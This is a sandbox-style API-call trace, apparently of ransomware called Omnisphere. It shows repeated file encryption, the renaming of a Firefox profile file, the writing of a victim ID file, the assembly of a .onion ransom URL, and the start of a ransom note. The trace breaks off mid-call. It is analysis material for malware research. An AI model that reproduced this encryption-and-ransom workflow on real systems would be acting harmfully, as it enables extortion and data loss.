CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.073] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.074] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.075] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.076] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.077] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.090] CryptDestroyKey (hKey=0x1639568) returned 1 [0157.090] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0157.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x292e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0157.090] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0157.091] GetProcessHeap () returned 0x1600000 [0157.091] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d2) returned 0x1744e88 [0157.091] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json.omnisphere")) returned 1 [0157.092] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.omnisphere.id" [0157.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.093] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0157.095] CloseHandle (hObject=0x388) returned 1 [0157.095] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0157.095] CloseHandle (hObject=0x3c0) returned 1 [0157.095] SetEndOfFile (hFile=0x288) returned 1 [0157.095] FlushFileBuffers (hFile=0x288) returned 1 [0157.101] CloseHandle (hObject=0x288) returned 1 [0157.101] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0157.101] GetProcessHeap () returned 0x1600000 [0157.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1745168 [0157.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0157.101] GetProcessHeap () returned 0x1600000 [0157.101] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733f68 [0157.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733f68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0157.101] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0157.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0157.102] GetProcessHeap () returned 0x1600000 [0157.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726c78 [0157.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726c78, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0157.102] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0157.102] GetProcessHeap () returned 0x1600000 [0157.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17307e8 [0157.102] PathCombineW (in: pszDest=0x17307e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0157.102] GetProcessHeap () returned 0x1600000 [0157.102] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1736e88 [0157.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0157.102] WriteFile (in: hFile=0x288, lpBuffer=0x1736e88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1736e88*, 